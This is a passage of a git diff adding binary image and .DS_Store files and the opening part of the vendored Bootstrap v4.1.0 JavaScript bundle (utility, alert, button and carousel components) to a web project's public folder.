z)-uhzcs*#FO^@QYBD-9!i2Y`f8uK4;T{&`^eS(MFhn5ff4xE?tU2<>omsv95Um35Z
zalMXuTA3>wdRSj$_2jnK3qR%e&dd6fAL$dF_TGDv?Dp>G9J_PE9n!P9gO(-zax{I@
zZ)CAM_-QV;yHC`MIUF0z*gMM-EiW6+6;9cDmq}{P1>sqrEV`S$%)2`-c3gfY-DZ*N
zcst|egJrVrZ*_SB_*bTBb9cn;|GKA4bK!r+^M;9=FG>luyteZ@-QD(ZZd)?HaHY@O
zZ>nA%!H?G$ow1(o_w<hWMB5(oULp6Nv9jN<hXhMM4BAo^81_xmf8W)V7c9H-;#CwX
z&e<^b*dJ25@@n1xI}h%B^IFNs{H&no>{gE^c8M@qE%}YjzC7`>CNXGterB#{pX;(&
z+SbOs(e>RztM}dxykQb;7fQU;nCBdR>9xJiuElHB$MQo5W}e~^T3%{bb<b5ZRckR%
zc6qyO^|Xh(UfuB2WV?EOnb4>3C3~J1%{ko?d$siTr1N>ZdDtsXU&>&eSG-TbIVedf
zIpB_3WQo2;*PJ)KQ*#p@aaEk3$FtCo)7$L4Q~NoUN$(~4?l<gfmi_<k*6TUXPA|^l
zsa5dZbi<{@;&|q=3jMN8ra5x_KfP+so>xD4X@jX=!$<zW_uAe&ZgbwdyQ=3w*14kK
zn=K#PHz*r<TDD9HI&OPOWocDd-cz5gdsU?R1^FYcT#ufU_Up#^AJ#MCC-1$vCf92D
z+2aefPlo<^A|rHuZQhD_wx1VIE4?f_e8FMLCpC?})EjRarr(}6D>`DqS3AE&k{=^v
z77AOhXk@*X@<H_Yzm-b8D)x#WjeJ$^Mw_b66_W}vpKbZPdy`7hyQhAO7oOXdI8FZd
zpLu5UB^9@*-CWc#?Zv5v_xg*U?o>+KD>|K1Zej14ZEtfbkND1>8Q^JMe*B8uKBp<O
zL>3!uza)HL>-f7Xs)qVWlDT&dGw=Ja<2W}Vp~tFRC`ZWW%$2>?6ZCFeG}Kt^7uFoK
z^W4^sbjC*!E~Qu8Uv{3~y71Hddu^vWO0SvywEu0prBLqg`@n6E{sMb^PM1o2E?sWC
z)u^p?&QYajx1P>9-mD!eQy=)MX8(d|c`w%-3-5XQu!U1lqlmdpO6=2~<_?v~N_7`f
zB0Vmi%8gxrY-X48rJs58I9?@x+A)pW_WV52Goo8~9Xr=GwKl1<>{b4?;Hl2DvzE^U
zS86;hT&1cgb<frP+D@yvjYT$(L+_V1&3k!FrG}$(wPyF0&=*|GcV-_6t1A4zM?$Mo
zYkOm$hpbih+x;9ys^S-eBIFIPFY8;c5cjQp&E~i@u}(LCl`r3^zQLLAv#9g89d8T7
z9TxnpKiu$ex-rkwdl9dF-^Ns)xBNG!`jzRLdr>c^8|}FN;G(opQk|Nr(xjCI45bsy
zvvppkneH+R%wTT&cKPa&1)IOQ-#OM6Z1+H3Ec=?|T=m1LHYb*y)mV0{d?{1X;lFL&
z*J7qs?AJY%`j5|X(Uk}x_e3vovBfe?&epZrg%9q^1+AK~Vwt#{^4!PwH5NSyoT~bH
z#%d9#?b_ToE@tL6*9(h%3Vso78pUbe^6SB=g1j{8i1(^4BI-Vmt7kJ-Er_vxUcdkL
zGX?X!`4;MZC4QYQ_udO-DOK%!`}lTeR`i^Nw{H?X1!w27>?%*(>z(kM?_g1#n@ZXK
igO8;z*MEp-WMeRWu!EaV=D~MRzsl3q&t;ucLK6Ua*b^K8

literal 0
HcmV?d00001

diff --git a/public/images/twitter-icon.png b/public/images/twitter-icon.png
new file mode 100644
index 0000000000000000000000000000000000000000..aa7f89180b6d4f7146bf1ca4c0220bec51636b06
GIT binary patch
literal 1835
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
URX@uz6I6Y9y85}Sb4q9e0DFkVQUCw|

literal 0
HcmV?d00001

diff --git a/public/js/.DS_Store b/public/js/.DS_Store
new file mode 100644
index 0000000000000000000000000000000000000000..8fe510e2ada637d56bf23a53d764d08987e21462
GIT binary patch
literal 8196
zcmZQzU|@7AO)+F(kYHe7;9!8z0^AH(0Z1N%F(jFwB7z|E7#IW?7>XH67>XDY844Km
zpmL+sXb6mkz-S1JhQMeDjE2DA3IRrlb2xC+`w-btax?@+LtsRP0H}OWfVAxy9H4Xq
zga%15FfuTJy8w&~3@oq!Vg&aC7(j9$tsokt6-0xyGBAQzU^Bp485p5j8NuBUkUjyh
zQH%^=?F@`yn?d4W?F@`yn;94wA=()jp*Ax@dnk+$?F@_%?F@`y+rdVT5~Cq78Ukn`
z0P4F7GbAzOGvqUrp!DC97)lxP7*ZH=7*ZMZ7_u0OJ#+GtlXCKt7$8~Pje&td_dghb
z%@ilj6b3zpT+j#snrU0eFfErMlOYeA+ZdJ5Op_+UZAhkJcO&BjG*fx7nu-xpjQ`N|
z3E<L)-Cm{~qVyxVA2n>5ZlUQH!D>H}e(dgG_CPa-lOdU*6r5)A8FI131M@aC9l{J*
z422A(45<u743!MJ48{z43<gk)WIw9=Sya$WQAIHYl%AZC+!4%>%uvLT&yd5A!;r*~
z$WX+f$B@jB&ydHE%#g@X0`?n@bi*<U%_d$9n{eo41!V!`+#rOevy35;A%`K8AqDJ)
zRBWNenulR~E<-*;3OKa#7%~~Ez$`3zk@XImPELjbh8%`chICvxgkdEE1H%Gv=KT+H
zIs-350Yg4R0Yd@Q4xF*U0Lu4sk#q_&6hnOmid9{PVun<P5{446&FR?u3C^7e6Cf4%
zX#Ee4hEZZP1n3q5%n+L-K>dGL1_oT?{}5H9<Y)+thQP240Y(;=U>7HFryRTgKz(gc
ze>wpw4eEn~y5o$XemO)RNC~KG53bD_A(M(=)r<^~o;)K1q$khFzyQ)ZIuHO3ol#;m
I1O_Gq0BVsh1poj5

literal 0
HcmV?d00001

diff --git a/public/js/bootstrap.bundle.js b/public/js/bootstrap.bundle.js
new file mode 100644
index 0000000..9bea2ea
--- /dev/null
+++ b/public/js/bootstrap.bundle.js
@@ -0,0 +1,6433 @@
+/*!
+  * Bootstrap v4.1.0 (https://getbootstrap.com/)
+  * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors)
+  * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+  */
+(function (global, factory) {
+  typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('jquery')) :
+  typeof define === 'function' && define.amd ? define(['exports', 'jquery'], factory) :
+  (factory((global.bootstrap = {}),global.jQuery));
+}(this, (function (exports,$) { 'use strict';
+
+  $ = $ && $.hasOwnProperty('default') ? $['default'] : $;
+
+  function _defineProperties(target, props) {
+    for (var i = 0; i < props.length; i++) {
+      var descriptor = props[i];
+      descriptor.enumerable = descriptor.enumerable || false;
+      descriptor.configurable = true;
+      if ("value" in descriptor) descriptor.writable = true;
+      Object.defineProperty(target, descriptor.key, descriptor);
+    }
+  }
+
+  function _createClass(Constructor, protoProps, staticProps) {
+    if (protoProps) _defineProperties(Constructor.prototype, protoProps);
+    if (staticProps) _defineProperties(Constructor, staticProps);
+    return Constructor;
+  }
+
+  function _defineProperty(obj, key, value) {
+    if (key in obj) {
+      Object.defineProperty(obj, key, {
+        value: value,
+        enumerable: true,
+        configurable: true,
+        writable: true
+      });
+    } else {
+      obj[key] = value;
+    }
+
+    return obj;
+  }
+
+  function _objectSpread(target) {
+    for (var i = 1; i < arguments.length; i++) {
+      var source = arguments[i] != null ? arguments[i] : {};
+      var ownKeys = Object.keys(source);
+
+      if (typeof Object.getOwnPropertySymbols === 'function') {
+        ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) {
+          return Object.getOwnPropertyDescriptor(source, sym).enumerable;
+        }));
+      }
+
+      ownKeys.forEach(function (key) {
+        _defineProperty(target, key, source[key]);
+      });
+    }
+
+    return target;
+  }
+
+  function _inheritsLoose(subClass, superClass) {
+    subClass.prototype = Object.create(superClass.prototype);
+    subClass.prototype.constructor = subClass;
+    subClass.__proto__ = superClass;
+  }
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): util.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Util = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Private TransitionEnd Helpers
+     * ------------------------------------------------------------------------
+     */
+    var TRANSITION_END = 'transitionend';
+    var MAX_UID = 1000000;
+    var MILLISECONDS_MULTIPLIER = 1000; // Shoutout AngusCroll (https://goo.gl/pxwQGp)
+
+    function toType(obj) {
+      return {}.toString.call(obj).match(/\s([a-z]+)/i)[1].toLowerCase();
+    }
+
+    function getSpecialTransitionEndEvent() {
+      return {
+        bindType: TRANSITION_END,
+        delegateType: TRANSITION_END,
+        handle: function handle(event) {
+          if ($$$1(event.target).is(this)) {
+            return event.handleObj.handler.apply(this, arguments); // eslint-disable-line prefer-rest-params
+          }
+
+          return undefined; // eslint-disable-line no-undefined
+        }
+      };
+    }
+
+    function transitionEndEmulator(duration) {
+      var _this = this;
+
+      var called = false;
+      $$$1(this).one(Util.TRANSITION_END, function () {
+        called = true;
+      });
+      setTimeout(function () {
+        if (!called) {
+          Util.triggerTransitionEnd(_this);
+        }
+      }, duration);
+      return this;
+    }
+
+    function setTransitionEndSupport() {
+      $$$1.fn.emulateTransitionEnd = transitionEndEmulator;
+      $$$1.event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent();
+    }
+    /**
+     * --------------------------------------------------------------------------
+     * Public Util Api
+     * --------------------------------------------------------------------------
+     */
+
+
+    var Util = {
+      TRANSITION_END: 'bsTransitionEnd',
+      getUID: function getUID(prefix) {
+        do {
+          // eslint-disable-next-line no-bitwise
+          prefix += ~~(Math.random() * MAX_UID); // "~~" acts like a faster Math.floor() here
+        } while (document.getElementById(prefix));
+
+        return prefix;
+      },
+      getSelectorFromElement: function getSelectorFromElement(element) {
+        var selector = element.getAttribute('data-target');
+
+        if (!selector || selector === '#') {
+          selector = element.getAttribute('href') || '';
+        }
+
+        try {
+          var $selector = $$$1(document).find(selector);
+          return $selector.length > 0 ? selector : null;
+        } catch (err) {
+          return null;
+        }
+      },
+      getTransitionDurationFromElement: function getTransitionDurationFromElement(element) {
+        if (!element) {
+          return 0;
+        } // Get transition-duration of the element
+
+
+        var transitionDuration = $$$1(element).css('transition-duration');
+        var floatTransitionDuration = parseFloat(transitionDuration); // Return 0 if element or transition duration is not found
+
+        if (!floatTransitionDuration) {
+          return 0;
+        } // If multiple durations are defined, take the first
+
+
+        transitionDuration = transitionDuration.split(',')[0];
+        return parseFloat(transitionDuration) * MILLISECONDS_MULTIPLIER;
+      },
+      reflow: function reflow(element) {
+        return element.offsetHeight;
+      },
+      triggerTransitionEnd: function triggerTransitionEnd(element) {
+        $$$1(element).trigger(TRANSITION_END);
+      },
+      // TODO: Remove in v5
+      supportsTransitionEnd: function supportsTransitionEnd() {
+        return Boolean(TRANSITION_END);
+      },
+      isElement: function isElement(obj) {
+        return (obj[0] || obj).nodeType;
+      },
+      typeCheckConfig: function typeCheckConfig(componentName, config, configTypes) {
+        for (var property in configTypes) {
+          if (Object.prototype.hasOwnProperty.call(configTypes, property)) {
+            var expectedTypes = configTypes[property];
+            var value = config[property];
+            var valueType = value && Util.isElement(value) ? 'element' : toType(value);
+
+            if (!new RegExp(expectedTypes).test(valueType)) {
+              throw new Error(componentName.toUpperCase() + ": " + ("Option \"" + property + "\" provided type \"" + valueType + "\" ") + ("but expected type \"" + expectedTypes + "\"."));
+            }
+          }
+        }
+      }
+    };
+    setTransitionEndSupport();
+    return Util;
+  }($);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): alert.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Alert = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'alert';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.alert';
+    var EVENT_KEY = "." + DATA_KEY;
+    var DATA_API_KEY = '.data-api';
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var Selector = {
+      DISMISS: '[data-dismiss="alert"]'
+    };
+    var Event = {
+      CLOSE: "close" + EVENT_KEY,
+      CLOSED: "closed" + EVENT_KEY,
+      CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY
+    };
+    var ClassName = {
+      ALERT: 'alert',
+      FADE: 'fade',
+      SHOW: 'show'
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var Alert =
+    /*#__PURE__*/
+    function () {
+      function Alert(element) {
+        this._element = element;
+      } // Getters
+
+
+      var _proto = Alert.prototype;
+
+      // Public
+      _proto.close = function close(element) {
+        element = element || this._element;
+
+        var rootElement = this._getRootElement(element);
+
+        var customEvent = this._triggerCloseEvent(rootElement);
+
+        if (customEvent.isDefaultPrevented()) {
+          return;
+        }
+
+        this._removeElement(rootElement);
+      };
+
+      _proto.dispose = function dispose() {
+        $$$1.removeData(this._element, DATA_KEY);
+        this._element = null;
+      }; // Private
+
+
+      _proto._getRootElement = function _getRootElement(element) {
+        var selector = Util.getSelectorFromElement(element);
+        var parent = false;
+
+        if (selector) {
+          parent = $$$1(selector)[0];
+        }
+
+        if (!parent) {
+          parent = $$$1(element).closest("." + ClassName.ALERT)[0];
+        }
+
+        return parent;
+      };
+
+      _proto._triggerCloseEvent = function _triggerCloseEvent(element) {
+        var closeEvent = $$$1.Event(Event.CLOSE);
+        $$$1(element).trigger(closeEvent);
+        return closeEvent;
+      };
+
+      _proto._removeElement = function _removeElement(element) {
+        var _this = this;
+
+        $$$1(element).removeClass(ClassName.SHOW);
+
+        if (!$$$1(element).hasClass(ClassName.FADE)) {
+          this._destroyElement(element);
+
+          return;
+        }
+
+        var transitionDuration = Util.getTransitionDurationFromElement(element);
+        $$$1(element).one(Util.TRANSITION_END, function (event) {
+          return _this._destroyElement(element, event);
+        }).emulateTransitionEnd(transitionDuration);
+      };
+
+      _proto._destroyElement = function _destroyElement(element) {
+        $$$1(element).detach().trigger(Event.CLOSED).remove();
+      }; // Static
+
+
+      Alert._jQueryInterface = function _jQueryInterface(config) {
+        return this.each(function () {
+          var $element = $$$1(this);
+          var data = $element.data(DATA_KEY);
+
+          if (!data) {
+            data = new Alert(this);
+            $element.data(DATA_KEY, data);
+          }
+
+          if (config === 'close') {
+            data[config](this);
+          }
+        });
+      };
+
+      Alert._handleDismiss = function _handleDismiss(alertInstance) {
+        return function (event) {
+          if (event) {
+            event.preventDefault();
+          }
+
+          alertInstance.close(this);
+        };
+      };
+
+      _createClass(Alert, null, [{
+        key: "VERSION",
+        get: function get() {
+          return VERSION;
+        }
+      }]);
+
+      return Alert;
+    }();
+    /**
+     * ------------------------------------------------------------------------
+     * Data Api implementation
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1(document).on(Event.CLICK_DATA_API, Selector.DISMISS, Alert._handleDismiss(new Alert()));
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+    $$$1.fn[NAME] = Alert._jQueryInterface;
+    $$$1.fn[NAME].Constructor = Alert;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return Alert._jQueryInterface;
+    };
+
+    return Alert;
+  }($);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): button.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Button = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'button';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.button';
+    var EVENT_KEY = "." + DATA_KEY;
+    var DATA_API_KEY = '.data-api';
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var ClassName = {
+      ACTIVE: 'active',
+      BUTTON: 'btn',
+      FOCUS: 'focus'
+    };
+    var Selector = {
+      DATA_TOGGLE_CARROT: '[data-toggle^="button"]',
+      DATA_TOGGLE: '[data-toggle="buttons"]',
+      INPUT: 'input',
+      ACTIVE: '.active',
+      BUTTON: '.btn'
+    };
+    var Event = {
+      CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY,
+      FOCUS_BLUR_DATA_API: "focus" + EVENT_KEY + DATA_API_KEY + " " + ("blur" + EVENT_KEY + DATA_API_KEY)
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var Button =
+    /*#__PURE__*/
+    function () {
+      function Button(element) {
+        this._element = element;
+      } // Getters
+
+
+      var _proto = Button.prototype;
+
+      // Public
+      _proto.toggle = function toggle() {
+        var triggerChangeEvent = true;
+        var addAriaPressed = true;
+        var rootElement = $$$1(this._element).closest(Selector.DATA_TOGGLE)[0];
+
+        if (rootElement) {
+          var input = $$$1(this._element).find(Selector.INPUT)[0];
+
+          if (input) {
+            if (input.type === 'radio') {
+              if (input.checked && $$$1(this._element).hasClass(ClassName.ACTIVE)) {
+                triggerChangeEvent = false;
+              } else {
+                var activeElement = $$$1(rootElement).find(Selector.ACTIVE)[0];
+
+                if (activeElement) {
+                  $$$1(activeElement).removeClass(ClassName.ACTIVE);
+                }
+              }
+            }
+
+            if (triggerChangeEvent) {
+              if (input.hasAttribute('disabled') || rootElement.hasAttribute('disabled') || input.classList.contains('disabled') || rootElement.classList.contains('disabled')) {
+                return;
+              }
+
+              input.checked = !$$$1(this._element).hasClass(ClassName.ACTIVE);
+              $$$1(input).trigger('change');
+            }
+
+            input.focus();
+            addAriaPressed = false;
+          }
+        }
+
+        if (addAriaPressed) {
+          this._element.setAttribute('aria-pressed', !$$$1(this._element).hasClass(ClassName.ACTIVE));
+        }
+
+        if (triggerChangeEvent) {
+          $$$1(this._element).toggleClass(ClassName.ACTIVE);
+        }
+      };
+
+      _proto.dispose = function dispose() {
+        $$$1.removeData(this._element, DATA_KEY);
+        this._element = null;
+      }; // Static
+
+
+      Button._jQueryInterface = function _jQueryInterface(config) {
+        return this.each(function () {
+          var data = $$$1(this).data(DATA_KEY);
+
+          if (!data) {
+            data = new Button(this);
+            $$$1(this).data(DATA_KEY, data);
+          }
+
+          if (config === 'toggle') {
+            data[config]();
+          }
+        });
+      };
+
+      _createClass(Button, null, [{
+        key: "VERSION",
+        get: function get() {
+          return VERSION;
+        }
+      }]);
+
+      return Button;
+    }();
+    /**
+     * ------------------------------------------------------------------------
+     * Data Api implementation
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE_CARROT, function (event) {
+      event.preventDefault();
+      var button = event.target;
+
+      if (!$$$1(button).hasClass(ClassName.BUTTON)) {
+        button = $$$1(button).closest(Selector.BUTTON);
+      }
+
+      Button._jQueryInterface.call($$$1(button), 'toggle');
+    }).on(Event.FOCUS_BLUR_DATA_API, Selector.DATA_TOGGLE_CARROT, function (event) {
+      var button = $$$1(event.target).closest(Selector.BUTTON)[0];
+      $$$1(button).toggleClass(ClassName.FOCUS, /^focus(in)?$/.test(event.type));
+    });
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+    $$$1.fn[NAME] = Button._jQueryInterface;
+    $$$1.fn[NAME].Constructor = Button;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return Button._jQueryInterface;
+    };
+
+    return Button;
+  }($);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): carousel.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Carousel = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'carousel';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.carousel';
+    var EVENT_KEY = "." + DATA_KEY;
+    var DATA_API_KEY = '.data-api';
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var ARROW_LEFT_KEYCODE = 37; // KeyboardEvent.which value for left arrow key
+
+    var ARROW_RIGHT_KEYCODE = 39; // KeyboardEvent.which value for right arrow key
+
+    var TOUCHEVENT_COMPAT_WAIT = 500; // Time for mouse compat events to fire after touch
+
+    var Default = {
+      interval: 5000,
+      keyboard: true,
+      slide: false,
+      pause: 'hover',
+      wrap: true
+    };
+    var DefaultType = {
+      interval: '(number|boolean)',
+      keyboard: 'boolean',
+      slide: '(boolean|string)',
+      pause: '(string|boolean)',
+      wrap: 'boolean'
+    };
+    var Direction = {
+      NEXT: 'next',
+      PREV: 'prev',
+      LEFT: 'left',
+      RIGHT: 'right'
+    };
+    var Event = {
+      SLIDE: "slide" + EVENT_KEY,
+      SLID: "slid" + EVENT_KEY,
+      KEYDOWN: "keydown" + EVENT_KEY,
+      MOUSEENTER: "mouseenter" + EVENT_KEY,
+      MOUSELEAVE: "mouseleave" + EVENT_KEY,
+      TOUCHEND: "touchend" + EVENT_KEY,
+      LOAD_DATA_API: "load" + EVENT_KEY + DATA_API_KEY,
+      CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY
+    };
+    var ClassName = {
+      CAROUSEL: 'carousel',
+      ACTIVE: 'active',
+      SLIDE: 'slide',
+      RIGHT: 'carousel-item-right',
+      LEFT: 'carousel-item-left',
+      NEXT: 'carousel-item-next',
+      PREV: 'carousel-item-prev',
+      ITEM: 'carousel-item'
+    };
+    var Selector = {
+      ACTIVE: '.active',
+      ACTIVE_ITEM: '.active.carousel-item',
+      ITEM: '.carousel-item',
+      NEXT_PREV: '.carousel-item-next, .carousel-item-prev',
+      INDICATORS: '.carousel-indicators',
+      DATA_SLIDE: '[data-slide], [data-slide-to]',
+      DATA_RIDE: '[data-ride="carousel"]'
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var Carousel =
+    /*#__PURE__*/
+    function () {
+      function Carousel(element, config) {
+        this._items = null;
+        this._interval = null;
+        this._activeElement = null;
+        this._isPaused = false;
+        this._isSliding = false;
+        this.touchTimeout = null;
+        this._config = this._getConfig(config);
+        this._element = $$$1(element)[0];
+        this._indicatorsElement = $$$1(this._element).find(Selector.INDICATORS)[0];
+
+        this._addEventListeners();
+      } // Getters
+
+
+      var _proto = Carousel.prototype;
+
+      // Public
+      _proto.next = function next() {
+        if (!this._isSliding) {
+          this._slide(Direction.NEXT);
+        }
+      };
+
+      _proto.nextWhenVisible = function nextWhenVisible() {
+        // Don't call next when the page isn't visible
+        // or the carousel or its parent isn't visible
+        if (!document.hidden && $$$1(this._element).is(':visible') && $$$1(this._element).css('visibility') !== 'hidden') {
+          this.next();
+        }
+      };
+
+      _proto.prev = function prev() {
+        if (!this._isSliding) {
+          this._slide(Direction.PREV);
+        }
+      };
+
+      _proto.pause = function pause(event) {
+        if (!event) {
+          this._isPaused = true;
+        }
+
+        if ($$$1(this._element).find(Selector.NEXT_PREV)[0]) {
+          Util.triggerTransitionEnd(this._element);
+          this.cycle(true);
+        }
+
+        clearInterval(this._interval);
+        this._interval = null;
+      };
+
+      _proto.cycle = function cycle(event) {
+        if (!event) {
+          this._isPaused = false;
+        }
+
+        if (this._interval) {
+          clearInterval(this._interval);
+          this._interval = null;
+        }
+
+        if (this._config.interval && !this._isPaused) {
+          this._interval = setInterval((document.visibilityState ? this.nextWhenVisible : this.next).bind(this), this._config.interval);
+        }
+      };
+
+      _proto.to = function to(index) {
+        var _this = this;
+
+        this._activeElement = $$$1(this._element).find(Selector.ACTIVE_ITEM)[0];
+
+        var activeIndex = this._getItemIndex(this._activeElement);
+
+        if (index > this._items.length - 1 || index < 0) {
+          return;
+        }
+
+        if (this._isSliding) {
+          $$$1(this._element).one(Event.SLID, function () {
+            return _this.to(index);
+          });
+          return;
+        }
+
+        if (activeIndex === index) {
+          this.pause();
+          this.cycle();
+          return;
+        }
+
+        var direction = index > activeIndex ? Direction.NEXT : Direction.PREV;
+
+        this._slide(direction, this._items[index]);
+      };
+
+      _proto.dispose = function dispose() {
+        $$$1(this._element).off(EVENT_KEY);
+        $$$1.removeData(this._element, DATA_KEY);
+        this._items = null;
+        this._config = null;
+        this._element = null;
+        this._interval = null;
+        this._isPaused = null;
+        this._isSliding = null;
+        this._activeElement = null;
+        this._indicatorsElement = null;
+      }; // Private
+
+
+      _proto._getConfig = function _getConfig(config) {
+        config = _objectSpread({}, Default, config);
+        Util.typeCheckConfig(NAME, config, DefaultType);
+        return config;
+      };
+
+      _proto._addEventListeners = function _addEventListeners() {
+        var _this2 = this;
+
+        if (this._config.keyboard) {
+          $$$1(this._element).on(Event.KEYDOWN, function (event) {
+            return _this2._keydown(event);
+          });
+        }
+
+        if (this._config.pause === 'hover') {
+          $$$1(this._element).on(Event.MOUSEENTER, function (event) {
+            return _this2.pause(event);
+          }).on(Event.MOUSELEAVE, function (event) {
+            return _this2.cycle(event);
+          });
+
+          if ('ontouchstart' in document.documentElement) {
+            // If it's a touch-enabled device, mouseenter/leave are fired as
+            // part of the mouse compatibility events on first tap - the carousel
+            // would stop cycling until user tapped out of it;
+            // here, we listen for touchend, explicitly pause the carousel
+            // (as if it's the second time we tap on it, mouseenter compat event
+            // is NOT fired) and after a timeout (to allow for mouse compatibility
+            // events to fire) we explicitly restart cycling
+            $$$1(this._element).on(Event.TOUCHEND, function () {
+              _this2.pause();
+
+              if (_this2.touchTimeout) {
+                clearTimeout(_this2.touchTimeout);
+              }
+
